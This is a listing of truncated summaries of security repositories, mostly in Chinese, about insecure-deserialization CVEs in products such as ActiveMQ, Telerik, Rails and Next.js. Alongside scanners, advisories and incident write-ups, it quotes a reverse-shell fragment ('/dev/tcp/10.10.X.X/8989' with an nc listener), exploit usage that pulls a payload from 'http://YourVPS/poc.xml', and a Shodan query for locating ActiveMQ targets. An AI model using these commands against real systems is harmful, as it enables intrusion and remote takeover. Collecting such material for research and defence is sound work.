CVE-2025-53691

CVE-2025-53691：通过不安全的反序列化实现远程代码执行（RCE） AjaxScriptManager 中的相同反射机制可用于调用 ProcessSerializedData 方法。该方法使用不安全的 BinaryFormatter 对提供的有效载荷进行反序列化，导致远程代码执行。攻击者可以构造恶意的序列化对象，在服务器上执行任意命令。 远程代码执行： 攻击者利用 CVE-2025-53691 在服务器上执行任意代码。 缓解措施 Sitecore 已为此漏洞发布补丁。强烈建议升级到最新版本的 Sitecore XP，或应用提供的安全补丁。 参考 1 Watchtowr Labs...

CVE-2022-44877-RCE

此存储库没有 README。...

CVE-2020-8165

CVE-2020-8165 Python 漏洞利用 这是使用 Python3 利用 CVE-2020-8165 的代码。此利用代码适用于 Rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" 主要致谢 原始 CVE 详情：https://vulners.com/cve/CVE-2020-8165 我修改并添加了 arg parse 的 Pastebin...

CVE-2023-46604

攻击技术摘要：CVE-2023-46604 该脚本利用Apache ActiveMQ中的不安全反序列化漏洞（CVE-2023-46604），实现在目标服务器上的远程代码执行。 漏洞利用过程描述 漏洞目标： 漏洞存在于Apache ActiveMQ的OpenWire协议中。 允许对对象进行不安全反序列化，从而可在服务器上执行任意代码。 先决条件： 能够通过网络访问ActiveMQ服务器。 目标服务器可访问的一个恶意XML文件（poc.xml），通过URL提供。 攻击组件： Python脚本：自动化向ActiveMQ服务器发送恶意载荷。 XML文件（poc.xml）：包含一个Spring...

LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-

= doi.org/10.5281/zenodo.18278567 = orcid.org/0009-0007-7728-256X 💀 LlamaStack-RCE: CVE-2024-50050 供应链利用框架 非限制机密材料 - 仅限授权红队使用 1. 执行摘要（确定性分析） LlamaStack-RCE 是一个针对 Meta Llama Stack 中 CVE-2024-50050 关键远程代码执行（RCE）漏洞的高保真模拟与利用框架。该漏洞源于 Python 推理 API 中的不安全反序列化 ，具体是在 ZeroMQ 0MQ 传输层上使用 pickle 模块。...

CVE-2019-18935

CVE-2019-18935 针对 Telerik UI for ASP.NET AJAX 中 .NET JSON 反序列化漏洞的概念验证利用代码，可实现远程代码执行。 描述 Telerik UI for ASP.NET AJAX 是一套广泛用于 Web 应用程序的 UI 组件库。它以不安全的方式反序列化 JSON 对象，导致可在软件底层主机上执行任意远程代码。更多信息请参阅： DerpCon 演讲 .NET Roulette（幻灯片），详细介绍了利用不安全反序列化的额外基础知识，并将其应用于此漏洞，同时讲解了一些在 ASP.NET Web 应用程序上获取 Shell 的技巧和窍门。...

CVE-2023-46604

CVE-2023-46604 CVE-2023-46604 漏洞利用工具 此工具可帮助利用此漏洞。 用于查找目标的 Shodan 查询： root@kitploit: product:"ActiveMQ" port:"61616" 工具使用方法： root@kitploit: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target: python3 exploit.py -ip IP -c http://YourVPS/poc.xml...

xvna

XVNA Extreme Vulnerable Node Application XVNA is an extreme vulnerable node application coded in NodejsExpressjs/MongoDB that helps security enthusiasts to learn application security. it's not counseled to host this application online as it is intended to be Vulnerable. We tend to suggest hosting...

CVE-2022-31199

CVE-2022-31199 - Netwrix Auditor RCE 漏洞利用 POC 🔍 漏洞概述 CVE-2022-31199 是 Netwrix Auditor 10.5 之前版本中存在的一个严重的不安全对象反序列化漏洞。该漏洞存在于监听 TCP 9004 端口的未受保护的 .NET Remoting 服务中，允许未经身份验证的远程攻击者以 NT AUTHORITY\SYSTEM 权限实现任意代码执行。 漏洞详情 CVE ID : CVE-2022-31199 CVSS 评分 : 9.8 严重 CWE : CWE-502 不可信数据的反序列化 受影响版本 : Netwrix...

react2shell-CVE-2025-55182-full-rce-script

Next.js React2Shell CVE-2025-55182 Herramienta de Explotación Una herramienta de prueba de concepto para demostrar la vulnerabilidad crítica React2Shell CVE-2025-55182 / CVE-2025-66478 únicamente en entornos de prueba locales autorizados. ⚠️ ADVERTENCIA CRÍTICA: EXPLOTACIÓN ACTIVA Esta...

php_code_analysis

this script will scan your code the script can find 1. checkfileupload issues 2. hostheaderinjection 3. SQl injection 4. insecure deserialization 5. openredirect 6. SSRF 7. XSS 8. LFI 9. commandinjection features 1. fast 2. simple report usage: root@kitploit: python code.py file.php -this will sc...

react2shell-poc-CVE-2025-55182

React2Shell PoC CVE-2025-55182 一个针对 React2Shell CVE-2025-55182 的概念验证 PoC 脚本，这是一个影响使用 Server Actions 的 Next.js 应用的严重远程代码执行 RCE 漏洞。 !WARNING 免责声明 ：此工具仅用于教育和授权测试目的。我对任何滥用行为不承担责任。 描述 该脚本利用了 React Server Components "Flight" 协议中的一个不安全反序列化漏洞。它允许未经身份验证的攻击者在服务器上执行任意 JavaScript 代码，从而实现部分远程代码执行 RCE。 功能...

PoC_CVE-2025-55182

Next.js React2Shell CVE-2025-55182 漏洞利用工具 这是一个概念验证工具，用于演示在 授权、本地测试环境 中极具危险性的 React2Shell 漏洞（CVE-2025-55182 / CVE-2025-66478）。 ⚠️ 严重警告：正在被积极利用 此漏洞（CVSS 10.0）正被高级威胁行为者积极利用。 亚马逊威胁情报报告称，包括 Earth Lamia 和 Jackpot Panda 在内的多个与中国相关的国家支持组织，在漏洞披露后数小时内就开始将公开的利用代码武器化。美国网络安全和基础设施安全局（CISA）已将其列入已知被利用漏洞（KEV）目录。...

CVE-2026-56095

The Apache Solr for TYPO3 – Enterprise Search (solr) extension is affected by an insecure deserialization flaw in its indexer. When transferring multi-value data for the SOLR_CLASSIFICATION , SOLR_MULTIVALUE , and SOLR_RELATION content object types, every field value returned by content object re...

CVE-2026-56095 Insecure Deserialization in extension "Apache Solr for TYPO3 - Enterprise Search" (solr)

The extension's indexer passed every field value returned by content object rendering through PHP's unserialize function when transferring multi-value data for the SOLRCLASSIFICATION, SOLRMULTIVALUE and SOLRRELATION content object types, rather than a safe format. If user-generated content saved ...

TYPO3-EXT-SA-2026-025: Insecure Deserialization in extension "Apache Solr for TYPO3 - Enterprise Search" (solr)

More info at https://news.typo3.com/security/advisory/typo3-ext-sa-2026-025...

react2shell-vulnlab

React2Shell Tribune — 易受攻击的 Web 应用靶场 一个以新闻/博客门户为主题的现代 Next.js Web 应用，用于学习、检测并安全地演练 CVE-2025-55182（React）和 CVE-2025-66478（Next.js）对应的 React2Shell。运行未修补的 React 19.0.0 和 Next.js 15.0.3。 概述 基于 Next.js App Router 和 Server Actions 构建的虚构新闻门户。 默认配置，无自定义危险代码，刻意保持未修补状态。 旨在研究 RSC “Flight”...

cve-2025-55182-mitigator

cve-2025-55182-mitigator 防御性扫描器 + CVE-2025-55182 （React 服务端组件 / Flight 协议不安全反序列化）缓解指南。 该工具旨在帮助您： 基于依赖版本识别可能存在漏洞 的仓库 快速应用确定性缓解（补丁/升级）目标 重要 立即修补是唯一的确定性缓解措施。 此工具无法证明可利用性 。它使用版本启发式方法及仓库信号。 如果您怀疑已遭入侵，请遵循您的事件响应流程。 升级目标（确定性缓解） 根据2025年12月的指南： React: 19.0.1 或 19.1.2 或 19.2.1 Next.js: 16.0.7 或 15.5.7 或...

Telerik_CVE-2019-18935

TelerikUI Python 扫描器 telerikrcescan.py 示例 评估 IP 是否存在 CVE-2019-18935 漏洞 $ python3 telerikrcescan.py -t 192.168.44.21 评估主机名是否存在 CVE-2019-18935 漏洞 $ python3 telerikrcescan.py -t vulnerable.telerik.net 评估 CIDR 网络范围是否存在 CVE-2019-18935 漏洞 $ python3 telerikrcescan.py -r 23.253.4.0/24 评估目标列表 $ python3...

nextjs-rce-incident-response

Next.js RCE 事件响应 — CVE-2025-55182 类型： 生产环境实时事件响应 漏洞： CVE-2025-55182 — React Server Components 不安全反序列化（RCE） 受影响系统： Next.js 前端 + 远程生产服务器 角色： 网络安全实习生 — SenseLive Technologies 日期： 2026年2月24–26日 事发经过 一次同步攻击同时针对前端应用和远程生产服务器。攻击利用了 CVE-2025-55182，这是 React Server Components RSC Flight 协议中的一个严重的未认证 RCE...